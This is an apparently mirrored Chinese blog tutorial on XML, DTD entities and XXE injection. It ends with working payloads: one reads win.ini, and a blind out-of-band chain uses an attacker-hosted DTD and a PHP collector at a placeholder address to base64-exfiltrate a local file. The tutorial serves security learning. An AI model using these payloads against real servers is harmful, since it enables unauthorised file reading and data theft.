zoukankan      html  css  js  c++  java
  • Xml外部实体注入

    XML文件格式及作用

    copy至:https://www.runoob.com/xml/xml-tutorial.html

    学习xxe为什么要了解XML和DTD,直接跳至xxe查看;

    定义&作用:

    XML 指可扩展标记语言(eXtensible Markup Language)。

    XML 被设计用来传输和存储数据。

    格式:

    <?xml version="1.0" encoding="ISO-8859-1"?>  //声明
    <note>		//根元素
    ​	<to>**Tove**</to>	//子元素
    ​	<from>**Jani**</from>
    ​	<heading>**Reminder**</heading>
    ​	<body>**Don't forget me this weekend!**</body>
    </note>
    

    DTD

    定义&作用:

    文档类定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

    DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

    内部:

    <!DOCTYPE root-element [element-declarations]>
    
    <?xml version="1.0"?>
    
    <!DOCTYPE note [        //DTD声明定义
    <!ELEMENT note (to,from,heading,body)>	//定义 note 元素有四个元素:"to、from、heading,、body"
    <!ELEMENT to (#PCDATA)>		//定义 to 元素为 "#PCDATA" 类型
    <!ELEMENT from (#PCDATA)>
    <!ELEMENT heading (#PCDATA)>
    <!ELEMENT body (#PCDATA)>
    ]>
    
    <note>
    <to>Tove</to>
    <from>Jani</from>
    <heading>Reminder</heading>
    <body>Don't forget me this weekend</body>
    </note>
    

    外部:

    <!DOCTYPE root-element SYSTEM "filename">
    
    <?xml version="1.0"?>
    
    <!DOCTYPE note SYSTEM "note.dtd">		//DTD外部链接
    
    <note>
     <to>Tove</to>
     <from>Jani</from>
     <heading>Reminder</heading>
     <body>Don't forget me this weekend!</body>
    </note>
    

    外部文件内容:

    <!ELEMENT note (to,from,heading,body)>
    <!ELEMENT to (#PCDATA)>
    <!ELEMENT from (#PCDATA)>
    <!ELEMENT heading (#PCDATA)>
    <!ELEMENT body (#PCDATA)>
    

    DTD通用实体

    定义&作用

    实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

    • 实体引用是对实体的引用。
    • 实体可在内部或外部进行声明。

    内部实体

    语法

    <!ENTITY entity-name "entity-value">
    

    实例

    DTD 实例:
    <!ENTITY writer "Donald Duck.">
    <!ENTITY copyright "Copyright runoob.com">
    
    XML 实例引用DTD:
    <author>&writer;&copyright;</author>
    
    //一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。
    

    外部实体

    语法

    <!ENTITY entity-name SYSTEM "URI/URL">
    

    实例

    DTD 实例:
    <!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
    <!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">
    
    XML 实例引用DTD:
    <author>&writer;&copyright;</author>
    

    完整的DTD例子

    copy自: http://www.vervet.com/

    <!DOCTYPE CATALOG [
    <!ENTITY AUTHOR "John Doe">
    <!ENTITY COMPANY "JD Power Tools, Inc.">
    <!ENTITY EMAIL "jd@jd-tools.com">
    
    <!ELEMENT CATALOG (PRODUCT+)>
    
    <!ELEMENT PRODUCT
    (SPECIFICATIONS+,OPTIONS?,PRICE+,NOTES?)>
    <!ATTLIST PRODUCT
    NAME CDATA #IMPLIED
    CATEGORY (HandTool|Table|Shop-Professional) "HandTool"
    PARTNUM CDATA #IMPLIED
    PLANT (Pittsburgh|Milwaukee|Chicago) "Chicago"
    INVENTORY (InStock|Backordered|Discontinued) "InStock">
    
    <!ELEMENT SPECIFICATIONS (#PCDATA)>
    <!ATTLIST SPECIFICATIONS
    WEIGHT CDATA #IMPLIED
    POWER CDATA #IMPLIED>
    
    <!ELEMENT OPTIONS (#PCDATA)>
    <!ATTLIST OPTIONS
    FINISH (Metal|Polished|Matte) "Matte"
    ADAPTER (Included|Optional|NotApplicable) "Included"
    CASE (HardShell|Soft|NotApplicable) "HardShell">
    
    <!ELEMENT PRICE (#PCDATA)>
    <!ATTLIST PRICE
    MSRP CDATA #IMPLIED
    WHOLESALE CDATA #IMPLIED
    STREET CDATA #IMPLIED
    SHIPPING CDATA #IMPLIED>
            
    <!ELEMENT NOTES (#PCDATA)>
    ]>
    

    DTD参数实体

    • 使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
    • 只有在 DTD 文件中,参数实体的声明才能引用其他实体
    • 和通用实体一样,参数实体也可以外部引用

    Xxe

    原理

    XML External Entity (XXE) Processing是 XML 外部实体注入;

    我们可以控制的点就是上面的DTD实体(包括通用实体和参数实体),外部实体类似于一个XML的包含,我们可以包含我们想要的东西;

    如果您的应用是通过用户上传处理XML文件或POST请求(例如将SAML用于单点登录服务甚至是RSS)的,那么您很有可能会遭到XXE的攻击。

    XXE能做什么

    • 读文件
    • 扫描端口
    • 命令执行

    Payload

    有回显

    <?xml version="1.0"?>
    
    <!DOCTYPE a [ <!ENTITY xianshi "xxe"> ]>
    
    <xxx>&xianshi;</xxx>
    
    <?xml version="1.0"?>
    
    <!DOCTYPE a [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
    
    <xxx>&xxe;</xxx>
    

    无回显_Blind XXE,需目标主动发送数据到服务器

    VPS部署:

    • test.php
    <?php
    $ipd = $_SERVER["REMOTE_ADDR"]? $_SERVER["REMOTE_ADDR"] : "";
    if($ipd){
    	
    	$a = empty($_GET['a'])? "" : $_GET['a'];
    	$t = empty($_SERVER['HTTP_REFERER'])? "" : $_SERVER['HTTP>REFERER'];
    	$txt = htmlspecialchars($ipd."--".$a."--".$_SERVER['REQUEST_URI']."--".$t."
    ");
    	$n = fopen("test.txt","a+");
    	#  $x = fwrite($n,$txt);	
    }
    
    • test.txt : 用来接收上面php发过来的参数;
    • test.dtd
    <!ENTITY % pe2 SYSTEM "php://filter/read=convert.base64-encode/resource=C:/1.txt">
    <!ENTITY % pe1 "<!ENTITY ge1 SYSTEM 'http://x.x.x.x/test.php?i=%pe2;'>">
    %pe1;
    
    • 发送的payload:
    <?xml version="1.0"?>
    <!DOCTYPE test [
    <!ENTITY % pe3 SYSTEM "http://x.x.x.x/test.dtd"> 
    %pe3;
    ]>
    <aa>&ge1;</aa>
    
    • 过程,先调用pe3,到服务器获取test.dtd文件,调用pe1,调用pe2,读取本地文件,访问test.php带着pe2作为参数发送给服务器,test.php解析后写入test.txt;
  • 相关阅读:
    Notepad++ 配置信息导出导入(快捷键配置导出导入等等)
    SQL 删除重复数据
    PostgreSQL Update 根据B表更新A表
    桌面应用基本创建流程
    Android shape和selector完全总结
    Android 第三方框架之Charts
    java常见五种排序方式
    Objective-c之字典精讲
    OC语言之---NSArray
    Objective-c编程之NSString精讲
  • 原文地址:https://www.cnblogs.com/p0laris/p/12209581.html
Copyright © 2011-2022 走看看